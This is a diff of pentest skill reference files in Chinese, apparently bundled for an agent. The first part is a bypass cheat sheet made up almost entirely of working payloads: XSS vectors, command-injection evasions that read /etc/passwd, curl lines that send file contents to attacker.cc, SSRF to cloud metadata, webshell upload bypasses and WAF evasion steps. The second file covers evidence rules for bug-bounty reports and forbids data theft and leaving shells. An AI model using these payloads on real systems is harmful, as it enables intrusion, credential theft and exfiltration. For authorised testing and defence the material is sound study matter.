| `<div>HERE</div>` | 标签 | `<svg onload=alert(1)>` |
|
|
127
|
+
| `<input value="HERE">` | 引号 | `" autofocus onfocus=alert(1) "` |
|
|
128
|
+
| `<a href="HERE">` | 协议 | `javascript:alert(1)` |
|
|
129
|
+
| `<script>var x="HERE"</script>` | 引号 | `";alert(1);//` |
|
|
130
|
+
| `<script>var x={"k":"HERE"}</script>` | JSON | `'-alert(1)-'` 或 `"};alert(1);//` |
|
|
131
|
+
|
|
132
|
+
---
|
|
133
|
+
|
|
134
|
+
## 4. 命令注入绕过表
|
|
135
|
+
|
|
136
|
+
### 4.1 拼接符
|
|
137
|
+
```
|
|
138
|
+
Linux: ; | || && & `cmd` $(cmd) %0a(LF)
|
|
139
|
+
Windows: & | || && %0a
|
|
140
|
+
```
|
|
141
|
+
|
|
142
|
+
### 4.2 空格绕过
|
|
143
|
+
```
|
|
144
|
+
${IFS} cat${IFS}/etc/passwd
|
|
145
|
+
${IFS}$9 cat${IFS}$9/etc/passwd
|
|
146
|
+
%09(Tab) cat%09/etc/passwd
|
|
147
|
+
{a,b} {cat,/etc/passwd}
|
|
148
|
+
重定向 cat</etc/passwd
|
|
149
|
+
```
|
|
150
|
+
|
|
151
|
+
### 4.3 关键字绕过
|
|
152
|
+
```
|
|
153
|
+
c'a't c"a"t c\at # 引号 / 反斜杠分割
|
|
154
|
+
a=ca;b=t;$a$b /etc/passwd # 变量拼接
|
|
155
|
+
/bin/c?t /etc/passwd # 通配符
|
|
156
|
+
/???/??t /etc/p??s?? # 全通配
|
|
157
|
+
echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | sh # base64 嵌套 # security-allowlist: SEC008
|
|
158
|
+
```
|
|
159
|
+
|
|
160
|
+
### 4.4 cat 替代品(命令字过滤时)
|
|
161
|
+
```
|
|
162
|
+
tac head tail more less nl sort uniq od xxd base64 rev paste strings
|
|
163
|
+
# 全部能读出文件内容
|
|
164
|
+
```
|
|
165
|
+
|
|
166
|
+
### 4.5 无回显外带
|
|
167
|
+
```bash
|
|
168
|
+
# DNSLog
|
|
169
|
+
ping `whoami`.xxx.dnslog.cn
|
|
170
|
+
curl `cat /etc/passwd | base64 | tr -d '\n'`.xxx.dnslog.cn
|
|
171
|
+
|
|
172
|
+
# HTTP 外带
|
|
173
|
+
curl https://attacker.cc/?d=`whoami`
|
|
174
|
+
curl -X POST -d "$(cat /etc/passwd | base64)" https://attacker.cc/
|
|
175
|
+
|
|
176
|
+
# 时间外带(盲)
|
|
177
|
+
if [ `id -u` -eq 0 ]; then sleep 5; fi
|
|
178
|
+
```
|
|
179
|
+
|
|
180
|
+
---
|
|
181
|
+
|
|
182
|
+
## 5. 路径遍历 / 文件读绕过表
|
|
183
|
+
|
|
184
|
+
### 5.1 编码梯度
|
|
185
|
+
```
|
|
186
|
+
../ → %2e%2e%2f
|
|
187
|
+
../ → %252e%252e%252f (双重 URL)
|
|
188
|
+
../ → ..%c0%af / ..%c1%9c (超长 UTF-8,旧 Tomcat / GlassFish)
|
|
189
|
+
../ → %u002e%u002e%u2215 (IIS / 旧版 Java)
|
|
190
|
+
../ → ....// / ..../ (过滤器删一次后剩下原型)
|
|
191
|
+
```
|
|
192
|
+
|
|
193
|
+
### 5.2 截断 / 协议
|
|
194
|
+
```
|
|
195
|
+
%00 ../../../etc/passwd%00.jpg # PHP <5.3.4 / 旧 Java
|
|
196
|
+
; /admin;.jpg # IIS / Tomcat
|
|
197
|
+
file:// file:///etc/passwd
|
|
198
|
+
view-source: view-source:file:///etc/passwd
|
|
199
|
+
php://filter php://filter/convert.base64-encode/resource=index.php
|
|
200
|
+
```
|
|
201
|
+
|
|
202
|
+
### 5.3 目录跳板
|
|
203
|
+
```
|
|
204
|
+
/. // /./ /../ /;/
|
|
205
|
+
/static/../config /assets/..%2fapp/config.yml
|
|
206
|
+
```
|
|
207
|
+
|
|
208
|
+
---
|
|
209
|
+
|
|
210
|
+
## 6. SSRF 绕过表
|
|
211
|
+
|
|
212
|
+
### 6.1 IP 表示法
|
|
213
|
+
```
|
|
214
|
+
http://127.0.0.1
|
|
215
|
+
http://2130706433 # 十进制
|
|
216
|
+
http://0177.0.0.1 # 八进制
|
|
217
|
+
http://0x7f.0x0.0x0.0x1 # 16 进制
|
|
218
|
+
http://127.1 # 简写
|
|
219
|
+
http://[::1] # IPv6
|
|
220
|
+
http://[::ffff:127.0.0.1]
|
|
221
|
+
```
|
|
222
|
+
|
|
223
|
+
### 6.2 域名绕过
|
|
224
|
+
```
|
|
225
|
+
http://127.0.0.1.nip.io # 公共解析回环
|
|
226
|
+
http://localtest.me # 同上
|
|
227
|
+
http://attacker.com#@127.0.0.1
|
|
228
|
+
http://attacker.com\@127.0.0.1
|
|
229
|
+
http://attacker.com&@127.0.0.1
|
|
230
|
+
DNS Rebinding # 第一次查询返回外网,第二次返回内网(rbndr.us、tartarsauce.org)
|
|
231
|
+
```
|
|
232
|
+
|
|
233
|
+
### 6.3 协议
|
|
234
|
+
```
|
|
235
|
+
file:// file:///etc/passwd
|
|
236
|
+
gopher:// gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall...
|
|
237
|
+
dict:// dict://127.0.0.1:6379/info
|
|
238
|
+
ldap:// ldap://attacker.com/
|
|
239
|
+
ftp:// ftp://attacker.com/
|
|
240
|
+
```
|
|
241
|
+
|
|
242
|
+
### 6.4 云元数据(必试)
|
|
243
|
+
```
|
|
244
|
+
AWS http://169.254.169.254/latest/meta-data/
|
|
245
|
+
AWS-IMDSv2 curl -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" http://169.254.169.254/latest/api/token
|
|
246
|
+
GCP http://metadata.google.internal/computeMetadata/v1/ Header: Metadata-Flavor: Google
|
|
247
|
+
Azure http://169.254.169.254/metadata/instance?api-version=2021-02-01 Header: Metadata: true
|
|
248
|
+
阿里云 http://100.100.100.200/latest/meta-data/
|
|
249
|
+
腾讯云 http://metadata.tencentyun.com/latest/meta-data/
|
|
250
|
+
```
|
|
251
|
+
|
|
252
|
+
---
|
|
253
|
+
|
|
254
|
+
## 7. WAF 通用绕过
|
|
255
|
+
|
|
256
|
+
### 7.1 协议层
|
|
257
|
+
| 技巧 | 说明 |
|
|
258
|
+
|------|------|
|
|
259
|
+
| HPP(HTTP Parameter Pollution) | `?id=1&id=2' OR 1=1--`,前/后端取的参数不同 |
|
|
260
|
+
| Chunked Transfer-Encoding | `Transfer-Encoding: chunked` 让 WAF 看不到完整 body |
|
|
261
|
+
| Content-Type 混淆 | multipart 边界混淆 / 改为 `application/xml` 让 WAF 不解析 |
|
|
262
|
+
| HTTP 方法覆盖 | `X-HTTP-Method-Override: PUT`、`_method=DELETE` |
|
|
263
|
+
| HTTP/2 vs HTTP/1 转换差异 | 见 `playbooks/http-smuggling.md` |
|
|
264
|
+
| 大小写 Header | `cONTENT-tYPE` 某些 WAF 不认 |
|
|
265
|
+
|
|
266
|
+
### 7.2 编码层
|
|
267
|
+
```
|
|
268
|
+
1. 多重编码:URL → HTML 实体 → Unicode 三重套娃
|
|
269
|
+
2. 字符集:GBK 宽字节 / UTF-7 / UTF-16
|
|
270
|
+
3. Content-Encoding: gzip 压缩 body
|
|
271
|
+
```
|
|
272
|
+
|
|
273
|
+
### 7.3 长度 / 拆分
|
|
274
|
+
```
|
|
275
|
+
1. 超长参数(超过 WAF 检测窗口,常见 8KB / 16KB)
|
|
276
|
+
2. 多参数组合:part1=SEL part2=ECT
|
|
277
|
+
3. 二次注入:先存进 DB,再触发
|
|
278
|
+
4. 冷门入口:Cookie / Referer / X-Forwarded-For / User-Agent
|
|
279
|
+
```
|
|
280
|
+
|
|
281
|
+
---
|
|
282
|
+
|
|
283
|
+
## 8. 文件上传绕过表
|
|
284
|
+
|
|
285
|
+
| 检测层 | 绕过 |
|
|
286
|
+
|--------|------|
|
|
287
|
+
| 客户端 JS | 禁用 JS / Burp 拦响应 |
|
|
288
|
+
| 扩展名黑名单 | `.Php`、`.pHp`、`.php3/.php5/.phtml/.phar`、`.PHP%20`、`.php.` |
|
|
289
|
+
| 扩展名白名单 | `%00` 截断(旧版 PHP/Java)、`shell.jpg/.php`(Nginx fix_pathinfo)、`shell.asp;.jpg`(IIS6)、`.jspx` |
|
|
290
|
+
| Content-Type | 改 `image/jpeg`、`image/gif` |
|
|
291
|
+
| 文件头 | 加 `GIF89a\n<?php ...?>` 或 `\x89PNG...` |
|
|
292
|
+
| 内容静态特征 | 变量函数 `$a='ass'.'ert'; $a($_POST['x']);`、`array_map('assert',$_POST)` |
|
|
293
|
+
| 二次渲染 | 把 payload 放在 EXIF、IDAT 块,渲染后仍可读 |
|
|
294
|
+
| 路径绕过 | `filename=../../web/shell.php`,旧版 ZipSlip |
|
|
295
|
+
| 解析配置 | Apache 多后缀 `.php.xxx` 从右向左、Nginx `/x.jpg/.php` |
|
|
296
|
+
|
|
297
|
+
---
|
|
298
|
+
|
|
299
|
+
## 9. 上传后访问路径不返回?
|
|
300
|
+
|
|
301
|
+
```
|
|
302
|
+
1. 抓包看响应是否含完整 URL
|
|
303
|
+
2. 看预览功能(很多 CMS 上传后能预览)
|
|
304
|
+
3. 看上传时间戳命名规则(`20140829221136jsp.jsp` 模式 → 时间爆破 ±60 秒)
|
|
305
|
+
4. 编辑器自带浏览功能(FCKeditor /connectors/...?Command=GetFoldersAndFiles&CurrentFolder=/../)
|
|
306
|
+
5. 配合任意文件读 / .git 泄露反推目录
|
|
307
|
+
```
|
|
308
|
+
|
|
309
|
+
---
|
|
310
|
+
|
|
311
|
+
## 10. Corner Case 速查清单
|
|
312
|
+
|
|
313
|
+
每发新 payload 前过一遍这张表:
|
|
314
|
+
|
|
315
|
+
- [ ] 双重 URL 编码(`%252e`)
|
|
316
|
+
- [ ] Unicode 变体(`%u0027`、`'`)
|
|
317
|
+
- [ ] 宽字节(GBK,`%df%27`)
|
|
318
|
+
- [ ] Overlong UTF-8(`%c0%ae` = `.`)
|
|
319
|
+
- [ ] 混合编码(部分编码 + 部分明文)
|
|
320
|
+
- [ ] 注释嵌套(`/*!50000select*/`)
|
|
321
|
+
- [ ] 科学计数法 / 浮点(`1e0union`、`1.0union`)
|
|
322
|
+
- [ ] 负数 / 0(`-1 UNION`、`0 OR`)
|
|
323
|
+
- [ ] 制表 / 换页(`\t \v \f \r`)
|
|
324
|
+
- [ ] HPP(重复参数)
|
|
325
|
+
- [ ] Chunked / Content-Encoding gzip
|
|
326
|
+
- [ ] 重复 Header(重复 Host、重复 CL)
|
|
327
|
+
- [ ] 路径规范化差异(`//`、`/./`、`/;param`、尾斜杠)
|
|
328
|
+
- [ ] JSON 重复 key(取首 / 取末)
|
|
329
|
+
- [ ] XML DTD(`<!ENTITY xxe SYSTEM "file:///etc/passwd">`)
|
|
330
|
+
|
|
331
|
+
---
|
|
332
|
+
|
|
333
|
+
## 11. 实战工作流(被拦了怎么办)
|
|
334
|
+
|
|
335
|
+
```
|
|
336
|
+
1. 先确认是谁拦的
|
|
337
|
+
→ 看响应头:Server / X-WAF / 错误页特征 / 状态码(403 / 406 / 418)
|
|
338
|
+
→ 同一参数发普通字符串看是否过;只在恶意 payload 触发就是 WAF
|
|
339
|
+
|
|
340
|
+
2. 识别 WAF
|
|
341
|
+
→ wafw00f https://target
|
|
342
|
+
→ 看常见特征:Cloudflare(cf-ray)、ModSecurity、AWS WAF、阿里云盾、长亭雷池
|
|
343
|
+
|
|
344
|
+
3. 选第一道绕过:
|
|
345
|
+
→ 编码层(最便宜):URL 双编码 → Unicode → 实体
|
|
346
|
+
→ 语义层:等价函数 / 注释 / 大小写
|
|
347
|
+
→ 协议层:HPP / Chunked / 改 method / 改 Content-Type
|
|
348
|
+
|
|
349
|
+
4. 第一道失败:
|
|
350
|
+
→ 拆 payload(多参数组合 / 超长前缀填充 / Cookie 走私)
|
|
351
|
+
→ 切入口(Header → Cookie → JSON body → multipart)
|
|
352
|
+
|
|
353
|
+
5. 还失败:
|
|
354
|
+
→ 二次注入(先存再触发)
|
|
355
|
+
→ 切目标(如果是 SaaS 多租户,换租户域名 / 子域)
|
|
356
|
+
→ 记录"防护有效",去打下一个端点
|
|
357
|
+
```
|
package/bundled-skills/pentest-tools/src-hunter/references/methodology/03-evidence-discipline.md
ADDED
|
@@ -0,0 +1,205 @@
|
|
|
1
|
+
# 黑盒证据纪律
|
|
2
|
+
|
|
3
|
+
> 视角:报漏洞之前,确保你说的每一句都站得住,平台审核员复现得了
|
|
4
|
+
|
|
5
|
+
---
|
|
6
|
+
|
|
7
|
+
## 1. 一句话原则
|
|
8
|
+
|
|
9
|
+
**每个漏洞结论 = 一段可复现的 HTTP 流量 + 一段可观察的副作用证据。**
|
|
10
|
+
|
|
11
|
+
没有这两段 → 不是漏洞,是猜测,不要写进报告。
|
|
12
|
+
|
|
13
|
+
---
|
|
14
|
+
|
|
15
|
+
## 2. 黑盒"幻觉"是怎么产生的
|
|
16
|
+
|
|
17
|
+
| 幻觉类型 | 典型表现 | 真实情况 |
|
|
18
|
+
|---------|---------|---------|
|
|
19
|
+
| **响应特征幻觉** | 看到 500 + "syntax error" 就报 SQLi | 可能只是参数类型不匹配,不一定可注入 |
|
|
20
|
+
| **延时幻觉** | `sleep(5)` 后响应变慢就说时间盲注 | 可能是网络抖动 / 限流 / 偶发慢 |
|
|
21
|
+
| **回显幻觉** | 把自己输入的 payload 看到,就说 XSS | 可能在 `<textarea>` / 已转义 / Content-Type=text/plain |
|
|
22
|
+
| **报错幻觉** | 错误页提到 `/var/www/html/...` 就说路径泄露 | 可能本来就是公开文档 |
|
|
23
|
+
| **猜版本幻觉** | 看到 `Server: nginx/1.x` 就报 CVE | 没有任何 PoC 验证 |
|
|
24
|
+
| **内部 IP 幻觉** | DNSLog 收到一条记录就说 SSRF | 可能是浏览器预读 / 第三方扫描 |
|
|
25
|
+
| **平台数据幻觉** | "我以为是该公司的资产" | 资产不在 scope,提交就违规 |
|
|
26
|
+
|
|
27
|
+
> SRC 平台审核员每天看几百份报告,"我以为"漏洞会被秒拒并降低你的信誉分。
|
|
28
|
+
|
|
29
|
+
---
|
|
30
|
+
|
|
31
|
+
## 3. 黑盒证据三原则
|
|
32
|
+
|
|
33
|
+
### 原则 1:流量原貌
|
|
34
|
+
|
|
35
|
+
报告中的 PoC **必须**是可以复制粘贴到 curl / Repeater 直接复现的。
|
|
36
|
+
|
|
37
|
+
不要写:
|
|
38
|
+
```
|
|
39
|
+
"在 search 接口提交 ' or 1=1-- 即可触发 SQL 注入"
|
|
40
|
+
```
|
|
41
|
+
|
|
42
|
+
要写:
|
|
43
|
+
```http
|
|
44
|
+
POST /api/search HTTP/1.1
|
|
45
|
+
Host: target.com
|
|
46
|
+
Authorization: Bearer eyJhbGc...(脱敏到前 10 字符)
|
|
47
|
+
Content-Type: application/json
|
|
48
|
+
Content-Length: 45
|
|
49
|
+
|
|
50
|
+
{"keyword":"a' UNION SELECT version()-- -"}
|
|
51
|
+
```
|
|
52
|
+
|
|
53
|
+
加上:
|
|
54
|
+
- 完整 URL(含协议)
|
|
55
|
+
- 完整方法 + Header(敏感 Header 脱敏)
|
|
56
|
+
- Body 一字不漏
|
|
57
|
+
- 响应关键片段(截图 + 文本)
|
|
58
|
+
|
|
59
|
+
### 原则 2:差分证明
|
|
60
|
+
|
|
61
|
+
漏洞 = 行为偏离预期。证明偏离需要"对照组"。
|
|
62
|
+
|
|
63
|
+
| 测试 | 至少要有这 3 包 |
|
|
64
|
+
|------|--------------|
|
|
65
|
+
| **SQLi(盲)** | 真条件包(5s 延时) + 假条件包(即时返回) + baseline 干净包 |
|
|
66
|
+
| **IDOR** | 自己资源 200 + 他人资源 200(含他人数据) + 不存在资源 404 |
|
|
67
|
+
| **越权** | 普通用户拒绝 403 + 管理员通过 200 + 普通用户绕过 200(关键证据) |
|
|
68
|
+
| **逻辑** | 正常流程的响应 + 篡改流程的响应 + 篡改后的真实副作用(订单出现) |
|
|
69
|
+
| **SSRF** | 内网 IP 拒绝(参考) + 内网 IP 允许(漏洞) + 外网回连(DNSLog) |
|
|
70
|
+
|
|
71
|
+
### 原则 3:副作用可观察
|
|
72
|
+
|
|
73
|
+
代码执行类漏洞,必须有"在目标上发生事情"的证据:
|
|
74
|
+
|
|
75
|
+
| 漏洞类型 | 副作用证据 |
|
|
76
|
+
|---------|----------|
|
|
77
|
+
| **RCE** | DNSLog / HTTP 外带回显 / 文件创建并读回 / 命令输出截图 |
|
|
78
|
+
| **SSRF** | 收到内网响应正文 / 元数据 token / 外部 callback 服务器日志 |
|
|
79
|
+
| **任意文件读** | 目标文件实际内容(`/etc/passwd` 含 root: 行 / 配置含真实数据库地址) |
|
|
80
|
+
| **文件上传** | 上传后访问文件,得到非 404 响应 |
|
|
81
|
+
| **SQLi** | 实际数据:`version()`、`current_database()`、admin hash 前缀 |
|
|
82
|
+
| **XSS** | 弹窗截图 + URL bar / 配合 SRC 自家 XSS Hunter 平台收到 callback |
|
|
83
|
+
|
|
84
|
+
**严禁**:拖库 / 删数据 / 改密码 / 留 shell。证据取到"足以证明能做"即停。
|
|
85
|
+
|
|
86
|
+
---
|
|
87
|
+
|
|
88
|
+
## 4. 复现率要求
|
|
89
|
+
|
|
90
|
+
| 漏洞等级 | 最小复现率 | 复现次数 |
|
|
91
|
+
|---------|----------|---------|
|
|
92
|
+
| P0 RCE / 鉴权绕过 | 100% | 至少 3 次,间隔 1h+ |
|
|
93
|
+
| P1 SQLi / IDOR | 95%+ | 至少 3 次 |
|
|
94
|
+
| P1 逻辑 / 越权 | 90%+ | 至少 5 次(不同账号 / 不同时间) |
|
|
95
|
+
| P2 / 时间盲 | 80%+ | 至少 5 次,附带统计延时差 |
|
|
96
|
+
| 竞态 | "在 N 次中能稳定 hit" | 5 次以上,给脚本 |
|
|
97
|
+
|
|
98
|
+
复现率不到 → 在报告里**主动**说明("在 5 次测试中 4 次成功"),不要装作 100%。
|
|
99
|
+
|
|
100
|
+
---
|
|
101
|
+
|
|
102
|
+
## 5. DNSLog / 带外平台选择
|
|
103
|
+
|
|
104
|
+
| 用途 | 推荐平台 |
|
|
105
|
+
|------|---------|
|
|
106
|
+
| DNS 外带 | `dnslog.cn`、`ceye.io`、Burp Collaborator、`interactsh`(免费、私有部署) |
|
|
107
|
+
| HTTP 外带 | Burp Collaborator、`requestbin.com`、自建 webhook |
|
|
108
|
+
| LDAP(JNDI/Log4Shell) | 自建 `JNDI-Injection-Exploit` / `marshalsec` |
|
|
109
|
+
| 通用回连 | `webhook.site`(界面友好,便于截图) |
|
|
110
|
+
|
|
111
|
+
**强烈建议自建 OOB 服务器**:
|
|
112
|
+
- 能保留完整证据日志
|
|
113
|
+
- 不会和别的研究员撞 token
|
|
114
|
+
- 可以放在不同 IP 段验证 SSRF "外网可达"
|
|
115
|
+
|
|
116
|
+
报告里写:
|
|
117
|
+
```
|
|
118
|
+
带外回显域名:xx.attacker.com(攻击者控制)
|
|
119
|
+
DNS 解析记录:2025-05-09 10:23:45 UTC,源 IP a.b.c.d 查询 xx.attacker.com
|
|
120
|
+
完整日志见附件 dns_log.txt
|
|
121
|
+
```
|
|
122
|
+
|
|
123
|
+
---
|
|
124
|
+
|
|
125
|
+
## 6. 截图规范
|
|
126
|
+
|
|
127
|
+
每张截图至少包含:
|
|
128
|
+
|
|
129
|
+
- 完整 URL bar(证明域名 + 路径 + 参数)
|
|
130
|
+
- 浏览器 / Burp 时间戳
|
|
131
|
+
- 响应内容(与漏洞强相关的字段高亮)
|
|
132
|
+
- 如有数据:**马赛克脱敏**,但保留位数和格式(手机号 `138****1234`、ID `12*****345`)
|
|
133
|
+
|
|
134
|
+
报告封面页通常需要 1 张"漏洞总览图"(一眼看到结果)。
|
|
135
|
+
|
|
136
|
+
---
|
|
137
|
+
|
|
138
|
+
## 7. 录屏规范(高分漏洞建议)
|
|
139
|
+
|
|
140
|
+
P0/P1 漏洞,附 30s–2min 录屏极大提升过审速度。
|
|
141
|
+
|
|
142
|
+
录屏要点:
|
|
143
|
+
- 开头露出 URL + 当前用户身份
|
|
144
|
+
- 实时演示请求 + 响应
|
|
145
|
+
- 关键页面/数据上有马赛克
|
|
146
|
+
- 时间戳可见
|
|
147
|
+
- 录完不剪辑(剪辑会被怀疑伪造)
|
|
148
|
+
|
|
149
|
+
工具:OBS、ScreenToGif、Burp 自带 Logger 录像、ffmpeg `ffmpeg -f x11grab ...`。
|
|
150
|
+
|
|
151
|
+
---
|
|
152
|
+
|
|
153
|
+
## 8. 范围 / 合规边界
|
|
154
|
+
|
|
155
|
+
报告之前自检:
|
|
156
|
+
|
|
157
|
+
- [ ] 域名 / IP 在 program scope 内(看 H1/Bugcrowd policy)
|
|
158
|
+
- [ ] 没有访问到他人的 PII(如果访问到了,立即停止 + 在报告中说明 + 不在报告中放原始数据)
|
|
159
|
+
- [ ] 没有触发 DDoS / 大量请求(fuzzing 限速 1–5 rps,IDOR 遍历最多取 10 条样本)
|
|
160
|
+
- [ ] 没有删除 / 修改任何数据
|
|
161
|
+
- [ ] 没有上传可被他人访问的内容(webshell / 钓鱼页面)
|
|
162
|
+
- [ ] 没有访问其他用户账号(OAuth 测试只用自己控制的两个账号)
|
|
163
|
+
|
|
164
|
+
不合规的"证据"会让漏洞作废 + 账号封禁。
|
|
165
|
+
|
|
166
|
+
---
|
|
167
|
+
|
|
168
|
+
## 9. 反模式(这些写法会被审核员秒拒)
|
|
169
|
+
|
|
170
|
+
```
|
|
171
|
+
❌ "可能存在 SQL 注入,建议进一步验证。"
|
|
172
|
+
❌ "推测后端使用了 MySQL,从而有时间盲注。"
|
|
173
|
+
❌ "由于 Header 里有 X-Powered-By: PHP,可能是反序列化漏洞。"
|
|
174
|
+
❌ "通过黑盒猜测,admin/admin 可能可登录。"(必须实测且只测 1–3 次,避免暴力)
|
|
175
|
+
❌ "我没有 PoC,但理论上可以..."
|
|
176
|
+
❌ "已上传 webshell,地址 /uploads/x.php"(违规)
|
|
177
|
+
❌ "我已经把 1000 条用户数据下载到本地"(违规)
|
|
178
|
+
```
|
|
179
|
+
|
|
180
|
+
正确:
|
|
181
|
+
|
|
182
|
+
```
|
|
183
|
+
✓ "通过 sleep(5) 与 sleep(0) 在同一参数下的稳定 5 秒延时差异,
|
|
184
|
+
确认时间盲注存在。完整流量见附件 1,复现 5/5 次。"
|
|
185
|
+
✓ "通过两个测试账号 A、B,A 可以读取 B 的订单详情,
|
|
186
|
+
附 HTTP 包 + 截图 + 仅 1 条样本(已脱敏)。
|
|
187
|
+
未尝试遍历或导出。"
|
|
188
|
+
```
|
|
189
|
+
|
|
190
|
+
---
|
|
191
|
+
|
|
192
|
+
## 10. 自检清单(提交前过一遍)
|
|
193
|
+
|
|
194
|
+
- [ ] 标题符合 `[等级][条件][类型] 端点 - 一句话` 格式
|
|
195
|
+
- [ ] 资产在 scope
|
|
196
|
+
- [ ] 复现步骤逐条编号,含完整 HTTP 包
|
|
197
|
+
- [ ] 至少 1 张响应截图 + 1 张 URL 可见的截图
|
|
198
|
+
- [ ] 副作用证据(外带 / 数据 / 文件)
|
|
199
|
+
- [ ] 至少 3 次复现成功
|
|
200
|
+
- [ ] CVSS 3.1 / 4.0 vector + 影响段
|
|
201
|
+
- [ ] 修复建议(具体 + 可操作)
|
|
202
|
+
- [ ] 未对生产数据造成不可逆影响
|
|
203
|
+
- [ ] 个人 PII / 第三方数据已脱敏
|
|
204
|
+
|
|
205
|
+
走完这 10 条再点 Submit。
|